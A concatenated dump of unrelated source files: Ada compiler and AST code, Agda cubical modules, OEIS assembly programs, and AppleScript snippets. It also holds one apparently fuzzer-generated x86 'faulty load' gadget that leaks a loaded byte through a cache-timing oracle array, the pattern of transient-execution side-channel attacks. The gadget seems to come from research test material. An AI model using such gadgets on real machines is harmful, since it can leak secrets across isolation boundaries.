(Target_Type) and then Is_Remote_Access_To_Subprogram_Type (Opnd_Type) then -- It is valid to convert from one RAS type to another provided -- that their specification statically match. Check_Subtype_Conformant (New_Id => Designated_Type (Corresponding_Remote_Type (Target_Type)), Old_Id => Designated_Type (Corresponding_Remote_Type (Opnd_Type)), Err_Loc => N); return True; elsif Is_Tagged_Type (Target_Type) then return Valid_Tagged_Conversion (Target_Type, Opnd_Type); -- Types derived from the same root type are convertible. elsif Root_Type (Target_Type) = Root_Type (Opnd_Type) then return True; -- In an instance, there may be inconsistent views of the same -- type, or types derived from the same type. elsif In_Instance and then Underlying_Type (Target_Type) = Underlying_Type (Opnd_Type) then return True; -- Special check for common access type error case elsif Ekind (Target_Type) = E_Access_Type and then Is_Access_Type (Opnd_Type) then Error_Msg_N ("target type must be general access type!", N); Error_Msg_NE ("add ALL to }!", N, Target_Type); return False; else Error_Msg_NE ("invalid conversion, not compatible with }", N, Opnd_Type); return False; end if; end Valid_Conversion; end Sem_Res;
source/nodes/program-nodes-entry_index_specifications.adb
optikos/oasis
0
12221
<reponame>optikos/oasis -- Copyright (c) 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- package body Program.Nodes.Entry_Index_Specifications is function Create (For_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Name : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access; In_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Entry_Index_Subtype : not null Program.Elements.Discrete_Ranges .Discrete_Range_Access) return Entry_Index_Specification is begin return Result : Entry_Index_Specification := (For_Token => For_Token, Name => Name, In_Token => In_Token, Entry_Index_Subtype => Entry_Index_Subtype, Enclosing_Element => null) do Initialize (Result); end return; end Create; function Create (Name : not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access; Entry_Index_Subtype : not null Program.Elements.Discrete_Ranges .Discrete_Range_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False) return Implicit_Entry_Index_Specification is begin return Result : Implicit_Entry_Index_Specification := (Name => Name, Entry_Index_Subtype => Entry_Index_Subtype, Is_Part_Of_Implicit => Is_Part_Of_Implicit, Is_Part_Of_Inherited => Is_Part_Of_Inherited, Is_Part_Of_Instance => Is_Part_Of_Instance, Enclosing_Element => null) do Initialize (Result); end return; end Create; overriding function Name (Self : Base_Entry_Index_Specification) return not null Program.Elements.Defining_Identifiers .Defining_Identifier_Access is begin return Self.Name; end Name; overriding function Entry_Index_Subtype (Self : Base_Entry_Index_Specification) return not null Program.Elements.Discrete_Ranges.Discrete_Range_Access is begin return Self.Entry_Index_Subtype; end Entry_Index_Subtype; overriding function For_Token (Self : Entry_Index_Specification) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.For_Token; end For_Token; overriding function In_Token (Self : Entry_Index_Specification) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.In_Token; end In_Token; overriding function Is_Part_Of_Implicit (Self : Implicit_Entry_Index_Specification) return Boolean is begin return Self.Is_Part_Of_Implicit; end Is_Part_Of_Implicit; overriding function Is_Part_Of_Inherited (Self : Implicit_Entry_Index_Specification) return Boolean is begin return Self.Is_Part_Of_Inherited; end Is_Part_Of_Inherited; overriding function Is_Part_Of_Instance (Self : Implicit_Entry_Index_Specification) return Boolean is begin return Self.Is_Part_Of_Instance; end Is_Part_Of_Instance; procedure Initialize (Self : aliased in out Base_Entry_Index_Specification'Class) is begin Set_Enclosing_Element (Self.Name, Self'Unchecked_Access); Set_Enclosing_Element (Self.Entry_Index_Subtype, Self'Unchecked_Access); null; end Initialize; overriding function Is_Entry_Index_Specification_Element (Self : Base_Entry_Index_Specification) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Entry_Index_Specification_Element; overriding function Is_Declaration_Element (Self : Base_Entry_Index_Specification) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Declaration_Element; overriding procedure Visit (Self : not null access Base_Entry_Index_Specification; Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is begin Visitor.Entry_Index_Specification (Self); end Visit; overriding function To_Entry_Index_Specification_Text (Self : aliased in out Entry_Index_Specification) return Program.Elements.Entry_Index_Specifications .Entry_Index_Specification_Text_Access is begin return Self'Unchecked_Access; end To_Entry_Index_Specification_Text; overriding function To_Entry_Index_Specification_Text (Self : aliased in out Implicit_Entry_Index_Specification) return Program.Elements.Entry_Index_Specifications .Entry_Index_Specification_Text_Access is pragma Unreferenced (Self); begin return null; end To_Entry_Index_Specification_Text; end Program.Nodes.Entry_Index_Specifications;
Task/Read-a-configuration-file/Ada/read-a-configuration-file-1.ada
djgoku/RosettaCodeData
0
1920
<gh_stars>0 with Ada.Strings.Unbounded; with Config_File_Parser; pragma Elaborate_All (Config_File_Parser); package Config is function TUS (S : String) return Ada.Strings.Unbounded.Unbounded_String renames Ada.Strings.Unbounded.To_Unbounded_String; -- Convenience rename. TUS is much shorter than To_Unbounded_String. type Keys is ( FULLNAME, FAVOURITEFRUIT, NEEDSPEELING, SEEDSREMOVED, OTHERFAMILY); -- These are the valid configuration keys. type Defaults_Array is array (Keys) of Ada.Strings.Unbounded.Unbounded_String; -- The array type we'll use to hold our default configuration settings. Defaults_Conf : Defaults_Array := (FULLNAME => TUS ("<NAME>"), FAVOURITEFRUIT => TUS ("blackberry"), NEEDSPEELING => TUS ("False"), SEEDSREMOVED => TUS ("False"), OTHERFAMILY => TUS ("<NAME>, Ada Byron")); -- Default values for the Program object. These can be overwritten by -- the contents of the rosetta.cfg file(see below). package Rosetta_Config is new Config_File_Parser ( Keys => Keys, Defaults_Array => Defaults_Array, Defaults => Defaults_Conf, Config_File => "rosetta.cfg"); -- Instantiate the Config configuration object. end Config;
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_402.asm
ljhsiun2/medusa
9
102161
<filename>Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_402.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x34ea, %rax nop nop dec %r13 and $0xffffffffffffffc0, %rax movaps (%rax), %xmm7 vpextrq $1, %xmm7, %r8 sub %r10, %r10 lea addresses_WT_ht+0xf176, %rdi clflush (%rdi) nop nop cmp $49330, %rsi movups (%rdi), %xmm3 vpextrq $1, %xmm3, %r10 nop nop sub %rsi, %rsi lea addresses_WC_ht+0x6cea, %r8 cmp %rcx, %rcx movb (%r8), %al nop nop nop nop and %r13, %r13 lea addresses_UC_ht+0x10a0a, %rcx nop add %r10, %r10 movw $0x6162, (%rcx) nop nop add $6108, %r13 lea addresses_WC_ht+0x18a0a, %rsi nop nop nop cmp %rcx, %rcx and $0xffffffffffffffc0, %rsi vmovntdqa (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r10 nop nop nop inc %r8 lea addresses_UC_ht+0x5a7a, %rsi lea addresses_UC_ht+0xe40a, %rdi nop nop nop nop add $51190, %rbx mov $119, %rcx rep movsl nop nop nop nop nop add %rbx, %rbx lea addresses_D_ht+0x13e0a, %r10 clflush (%r10) add %r8, %r8 mov (%r10), %rcx nop nop nop nop sub %r10, %r10 lea addresses_UC_ht+0xae66, %rsi clflush (%rsi) nop nop dec %r8 vmovups (%rsi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rdi nop nop nop dec %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %rax push %rbp push %rcx push %rdi push %rdx // Store lea addresses_WT+0x4a16, %rcx nop nop nop nop dec %rdx mov $0x5152535455565758, %rbp movq %rbp, %xmm0 vmovups %ymm0, (%rcx) nop nop nop nop nop dec %r11 // Store lea addresses_PSE+0x18a0a, %rdx nop nop inc %rdi movw $0x5152, (%rdx) nop nop nop xor $45492, %rbp // Faulty Load lea addresses_PSE+0x18a0a, %r10 nop sub $53488, %r11 movups (%r10), %xmm0 vpextrq $1, %xmm0, %rax lea oracles, %r10 and $0xff, %rax shlq $12, %rax mov (%r10,%rax,1), %rax pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 10}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
Log.applescript
mikegrb/p5-Misc-MacLoggerDX
3
1908
tell application "MacLoggerDX" setRSTS (system attribute "FLDIGI_LOG_RST_OUT") setRSTR (system attribute "FLDIGI_LOG_RST_IN") setNOTE (system attribute "FLDIGI_LOG_NOTES") log end tell
memsim-master/src/memory-dram.ads
strenkml/EE368
0
30811
package Memory.DRAM is type DRAM_Type is new Memory_Type with private; type DRAM_Pointer is access all DRAM_Type'Class; function Create_DRAM(cas_cycles : Time_Type; -- CAS latency rcd_cycles : Time_Type; -- RCD latency rp_cycles : Time_Type; -- Precharge latency wb_cycles : Time_Type; -- Write-back latency multiplier : Time_Type; -- Clock multiplier word_size : Positive; -- Word size in bytes page_size : Positive; -- Page size in bytes page_count : Positive; -- Pages per bank width : Positive; -- Channel width in bytes burst_size : Positive; -- Burst size open_page_mode : Boolean) -- Open or closed page return DRAM_Pointer; overriding function Clone(mem : DRAM_Type) return Memory_Pointer; overriding procedure Reset(mem : in out DRAM_Type; context : in Natural); overriding procedure Read(mem : in out DRAM_Type; address : in Address_Type; size : in Positive); overriding procedure Write(mem : in out DRAM_Type; address : in Address_Type; size : in Positive); overriding procedure Idle(mem : in out DRAM_Type; cycles : in Time_Type); overriding function To_String(mem : DRAM_Type) return Unbounded_String; overriding function Get_Cost(mem : DRAM_Type) return Cost_Type; overriding function Get_Writes(mem : DRAM_Type) return Long_Integer; overriding function Get_Word_Size(mem : DRAM_Type) return Positive; overriding function Get_Ports(mem : DRAM_Type) return Port_Vector_Type; overriding procedure Generate(mem : in DRAM_Type; sigs : in out Unbounded_String; code : in out Unbounded_String); private type Bank_Type is record page : Address_Type := Address_Type'Last; dirty : Boolean := False; pending : Time_Type := 0; end record; package Bank_Vectors is new Vectors(Natural, Bank_Type); type DRAM_Type is new Memory_Type with record banks : Bank_Vectors.Vector; bank_size : Positive; cas_cycles : Time_Type; rcd_cycles : Time_Type; rp_cycles : Time_Type; wb_cycles : Time_Type; access_cycles : Time_Type; multiplier : Time_Type; word_size : Positive; page_size : Positive; page_count : Positive; width : Positive; burst_size : Positive; open_page_mode : Boolean; writes : Long_Integer := 0; end record; end Memory.DRAM;
test/fail/CoinductiveBuiltinNatural.agda
asr/agda-kanso
1
3472
<reponame>asr/agda-kanso module CoinductiveBuiltinNatural where open import Imports.Coinduction data ℕ : Set where zero : ℕ suc : (n : ∞ ℕ) → ℕ {-# BUILTIN NATURAL ℕ #-} {-# BUILTIN ZERO zero #-} {-# BUILTIN SUC suc #-}
Cubical/HITs/ListedFiniteSet/Base.agda
limemloh/cubical
0
13824
{-# OPTIONS --cubical --safe #-} module Cubical.HITs.ListedFiniteSet.Base where open import Cubical.Core.Everything open import Cubical.Foundations.Logic open import Cubical.Foundations.Everything private variable A : Type₀ infixr 20 _∷_ infix 30 _∈_ data LFSet (A : Type₀) : Type₀ where [] : LFSet A _∷_ : (x : A) → (xs : LFSet A) → LFSet A dup : ∀ x xs → x ∷ x ∷ xs ≡ x ∷ xs comm : ∀ x y xs → x ∷ y ∷ xs ≡ y ∷ x ∷ xs trunc : isSet (LFSet A) -- Membership. -- -- Doing some proofs with equational reasoning adds an extra "_∙ refl" -- at the end. -- We might want to avoid it, or come up with a more clever equational reasoning. _∈_ : A → LFSet A → hProp _ z ∈ [] = ⊥ z ∈ (y ∷ xs) = (z ≡ₚ y) ⊔ (z ∈ xs) z ∈ dup x xs i = proof i where -- proof : z ∈ (x ∷ x ∷ xs) ≡ z ∈ (x ∷ xs) proof = z ≡ₚ x ⊔ (z ≡ₚ x ⊔ z ∈ xs) ≡⟨ ⊔-assoc (z ≡ₚ x) (z ≡ₚ x) (z ∈ xs) ⟩ (z ≡ₚ x ⊔ z ≡ₚ x) ⊔ z ∈ xs ≡⟨ cong (_⊔ (z ∈ xs)) (⊔-idem (z ≡ₚ x)) ⟩ z ≡ₚ x ⊔ z ∈ xs ∎ z ∈ comm x y xs i = proof i where -- proof : z ∈ (x ∷ y ∷ xs) ≡ z ∈ (y ∷ x ∷ xs) proof = z ≡ₚ x ⊔ (z ≡ₚ y ⊔ z ∈ xs) ≡⟨ ⊔-assoc (z ≡ₚ x) (z ≡ₚ y) (z ∈ xs) ⟩ (z ≡ₚ x ⊔ z ≡ₚ y) ⊔ z ∈ xs ≡⟨ cong (_⊔ (z ∈ xs)) (⊔-comm (z ≡ₚ x) (z ≡ₚ y)) ⟩ (z ≡ₚ y ⊔ z ≡ₚ x) ⊔ z ∈ xs ≡⟨ sym (⊔-assoc (z ≡ₚ y) (z ≡ₚ x) (z ∈ xs)) ⟩ z ≡ₚ y ⊔ (z ≡ₚ x ⊔ z ∈ xs) ∎ x ∈ trunc xs ys p q i j = isSetHProp (x ∈ xs) (x ∈ ys) (cong (x ∈_) p) (cong (x ∈_) q) i j module LFSetElim {ℓ} (B : LFSet A → Type ℓ) ([]* : B []) (_∷*_ : (x : A) {xs : LFSet A} → B xs → B (x ∷ xs)) (comm* : (x y : A) {xs : LFSet A} (b : B xs) → PathP (λ i → B (comm x y xs i)) (x ∷* (y ∷* b)) (y ∷* (x ∷* b))) (dup* : (x : A) {xs : LFSet A} (b : B xs) → PathP (λ i → B (dup x xs i)) (x ∷* (x ∷* b)) (x ∷* b)) (trunc* : (xs : LFSet A) → isSet (B xs)) where f : ∀ x → B x f [] = []* f (x ∷ xs) = x ∷* f xs f (dup x xs i) = dup* x (f xs) i f (comm x y xs i) = comm* x y (f xs) i f (trunc x y p q i j) = isOfHLevel→isOfHLevelDep 2 trunc* (f x) (f y) (λ i → f (p i)) (λ i → f (q i)) (trunc x y p q) i j module LFSetRec {ℓ} {B : Type ℓ} ([]* : B) (_∷*_ : (x : A) → B → B) (comm* : (x y : A) (xs : B) → (x ∷* (y ∷* xs)) ≡ (y ∷* (x ∷* xs))) (dup* : (x : A) (b : B) → (x ∷* (x ∷* b)) ≡ (x ∷* b)) (trunc* : isSet B) where f : LFSet A → B f = LFSetElim.f _ []* (λ x xs → x ∷* xs) (λ x y b → comm* x y b) (λ x b → dup* x b) λ _ → trunc* module LFPropElim {ℓ} (B : LFSet A → Type ℓ) ([]* : B []) (_∷*_ : (x : A) {xs : LFSet A} → B xs → B (x ∷ xs)) (trunc* : (xs : LFSet A) → isProp (B xs)) where f : ∀ x → B x f = LFSetElim.f _ []* _∷*_ (λ _ _ _ → isOfHLevel→isOfHLevelDep 1 trunc* _ _ _) (λ _ _ → isOfHLevel→isOfHLevelDep 1 trunc* _ _ _) λ xs → isProp→isSet (trunc* xs)
oeis/214/A214040.asm
neoneye/loda-programs
11
22966
; A214040: a(n)=a(n-1)+floor((a(n-2)+a(n-3))/2), with a(n)=n for n<3. ; Submitted by <NAME>(s4.) ; 0,1,2,2,3,5,7,11,17,26,40,61,94,144,221,340,522,802,1233,1895,2912,4476,6879,10573,16250,24976,38387,59000,90681,139374,214214,329241,506035,777762,1195400,1837298,2823879,4340228,6670816,10252869,15758391,24220233 mov $1,1 mov $2,1 lpb $0 sub $0,1 add $1,$3 sub $3,$1 add $1,$2 add $1,$3 div $1,2 sub $2,$3 add $3,$2 lpe mov $0,$3
oeis/185/A185438.asm
neoneye/loda-programs
11
167727
; A185438: a(n) = 8*n^2 - 2*n + 1. ; 1,7,29,67,121,191,277,379,497,631,781,947,1129,1327,1541,1771,2017,2279,2557,2851,3161,3487,3829,4187,4561,4951,5357,5779,6217,6671,7141,7627,8129,8647,9181,9731,10297,10879,11477,12091,12721,13367,14029,14707,15401,16111,16837,17579,18337,19111,19901,20707,21529,22367,23221,24091,24977,25879,26797,27731,28681,29647,30629,31627,32641,33671,34717,35779,36857,37951,39061,40187,41329,42487,43661,44851,46057,47279,48517,49771,51041,52327,53629,54947,56281,57631,58997,60379,61777,63191,64621,66067 mul $0,4 bin $0,2 add $0,1
lib/webradio.applescript
eiGelbGeek/itunes-api
2
1058
on run argv set webradio_list to {} set webradio_config_Path to POSIX path of ((path to home folder as text) & "Music:iTunes:webradio_stations.txt") set webradio to paragraphs of (read POSIX file webradio_config_Path) repeat with nextLine in webradio if length of nextLine is greater than 0 then copy nextLine to the end of webradio_list end if end repeat if item 1 of argv is not equal to "delete" then set webradio_select_commit to item 1 of argv set webradio_select to item webradio_select_commit of webradio_list tell application "iTunes" open location webradio_select end tell end if if item 1 of argv is equal to "delete" then tell application "iTunes" repeat with t in (tracks of library playlist 1 whose kind contains "Internetaudio-Stream") tell library playlist 1 to delete t end repeat repeat with t in (tracks of library playlist 1 whose kind contains "MPEG-Audio-Stream") tell library playlist 1 to delete t end repeat end tell end if end run
oeis/191/A191475.asm
neoneye/loda-programs
11
172806
; A191475: Values of i of the numbers 2^i*3^j (A033845). ; Submitted by <NAME> ; 1,2,1,3,2,4,1,3,5,2,4,1,6,3,5,2,7,4,1,6,3,8,5,2,7,4,1,9,6,3,8,5,2,10,7,4,1,9,6,3,11,8,5,2,10,7,4,12,1,9,6,3,11,8,5,13,2,10,7,4,12,1,9,6,14,3,11,8,5,13,2,10,7,15,4,12,1,9,6,14,3,11,8,16,5,13,2,10,7,15,4,12,1,9,17,6,14,3,11,8 seq $0,65119 ; n-th cyclotomic polynomial is a trinomial. lpb $0 dif $0,2 add $1,1 lpe mov $0,$1 add $0,1
src/ada-core/src/linted-abas.adb
mstewartgallus/linted
0
16587
<gh_stars>0 -- Copyright 2017 <NAME> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -- implied. See the License for the specific language governing -- permissions and limitations under the License. package body Linted.ABAs is function Is_Valid_ABA (X : ABA) return Boolean is (Interfaces.Unsigned_32 (X) <= (Interfaces.Shift_Left (Interfaces.Unsigned_32 (Element_T'Last), 16) or 16#FFFF#)); function Shift (X : Interfaces.Unsigned_32) return Interfaces.Unsigned_32 with Pre => X <= (Interfaces.Shift_Left (Interfaces.Unsigned_32 (Element_T'Last), 16) or 16#FFFF#), Post => Shift'Result <= 16#FFFF# and then Shift'Result <= Interfaces.Unsigned_32 (Element_T'Last); function Initialize (Element : Element_T; Tag : Tag_T) return ABA is (ABA (Interfaces.Shift_Left (Interfaces.Unsigned_32 (Element), 16)) or ABA (Tag)); function Shift (X : Interfaces.Unsigned_32) return Interfaces.Unsigned_32 is (Interfaces.Shift_Right (X, 16)); function Element (X : ABA) return Element_T with Refined_Post => Element'Result = Element_T (Shift (Interfaces.Unsigned_32 (X))) is begin -- By private encapsulation this is assured pragma Assume (Is_Valid_ABA (X)); return Element_T (Shift (Interfaces.Unsigned_32 (X))); end Element; function Tag (X : ABA) return Tag_T is (Tag_T (X and 16#FFFF#)); procedure Lemma_Identity (E : Element_T; T : Tag_T) is null; end Linted.ABAs;
sw/552tests/inst_tests/xori_10.asm
JPShen-UWM/ThreadKraken
1
165495
<filename>sw/552tests/inst_tests/xori_10.asm // Original test: ./shojaei/hw4/problem6/xori_3.asm // Author: shojaei // Test source code follows lbi r1, 224 xori r1, r1, 31 halt
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/opt64_pkg.ads
best08618/asylo
7
2042
<gh_stars>1-10 package Opt64_PKG is type Hash is new string (1 .. 1); Last_Hash : Hash; procedure Encode (X : Integer); end;
Working Disassembly/Levels/SSZ/Misc Object Data/Map - GHZ Misc.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
22306
<reponame>TeamASM-Blur/Sonic-3-Blue-Balls-Edition Map_186E7C: dc.w word_186E84-Map_186E7C dc.w word_186E9E-Map_186E7C dc.w word_186EB8-Map_186E7C dc.w word_186EC0-Map_186E7C word_186E84: dc.w 4 dc.b $E8, $A, 0, 0, $FF, $E8 dc.b $E8, $A, 0, 9, 0, 0 dc.b 0, $A, 0, $12, $FF, $E8 dc.b 0, $A, 8, $12, 0, 0 word_186E9E: dc.w 4 dc.b $E8, $A, 0, $1B, $FF, $E8 dc.b $E8, $A, 8, $1B, 0, 0 dc.b 0, $A, $10, $1B, $FF, $E8 dc.b 0, $A, $18, $1B, 0, 0 word_186EB8: dc.w 1 dc.b $F8, 5, 0, $24, $FF, $F8 word_186EC0: dc.w 1 dc.b $F8, 5, 0, $28, $FF, $F8
programs/oeis/329/A329962.asm
neoneye/loda
22
22714
<gh_stars>10-100 ; A329962: Beatty sequence for 2 + cos x, where x = least positive solution of 1/(2 + sin x) + 1/(2 + cos x) = 1. ; 1,3,4,6,7,9,10,12,13,15,16,18,19,21,22,24,26,27,29,30,32,33,35,36,38,39,41,42,44,45,47,48,50,52,53,55,56,58,59,61,62,64,65,67,68,70,71,73,75,76,78,79,81,82,84,85,87,88,90,91,93,94,96,97,99,101 mov $3,$0 mov $5,$0 add $5,1 lpb $5 mov $0,$3 sub $5,1 sub $0,$5 mov $2,2 mov $8,$0 lpb $2 mov $0,$8 sub $2,1 add $0,$2 sub $0,1 mov $7,$0 div $0,8 add $0,2 div $0,2 mov $4,$2 add $7,$0 div $7,2 lpb $4 sub $4,1 mov $6,$7 lpe lpe lpb $8 sub $6,$7 mov $8,0 lpe mov $7,$6 add $7,1 add $1,$7 lpe mov $0,$1
src/CF/Syntax/DeBruijn.agda
ajrouvoet/jvm.agda
6
10092
<gh_stars>1-10 {-# OPTIONS --safe #-} module CF.Syntax.DeBruijn where open import Level open import Data.Bool open import Data.Product open import Data.Integer open import Data.List hiding (null) open import Data.List.Relation.Unary.All open import Relation.Unary.PredicateTransformer using (Pt) open import Relation.Unary hiding (_⊢_) open import Relation.Binary.Structures using (IsPreorder) open import Relation.Binary.PropositionalEquality using (isEquivalence) open import CF.Types open import CF.Contexts.Lexical using (Ctx; module DeBruijn; Closed) public open import CF.Syntax using (BinOp; module BinOp) public open DeBruijn public open BinOp public mutual data Exp : Ty → Pred Ctx 0ℓ where unit : ∀[ Exp void ] num : ℤ → ∀[ Exp int ] bool : Bool → ∀[ Exp bool ] ifthenelse : ∀[ Exp bool ⇒ Exp a ⇒ Exp a ⇒ Exp a ] var' : ∀[ Var a ⇒ Exp a ] bop : BinOp a b c → ∀[ Exp a ⇒ Exp b ⇒ Exp c ] Exps = λ as Γ → All (λ a → Exp a Γ) as mutual data Stmt (r : Ty) : Pred Ctx 0ℓ where asgn : ∀[ Var a ⇒ Exp a ⇒ Stmt r ] run : ∀[ Exp a ⇒ Stmt r ] ifthenelse : ∀[ Exp bool ⇒ Stmt r ⇒ Stmt r ⇒ Stmt r ] while : ∀[ Exp bool ⇒ Stmt r ⇒ Stmt r ] block : ∀[ Block r ⇒ Stmt r ] data Block (r : Ty) : Pred Ctx 0ℓ where _⍮⍮_ : ∀[ Stmt r ⇒ Block r ⇒ Block r ] nil : ∀[ Block r ]
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c96008a.ada
best08618/asylo
7
21181
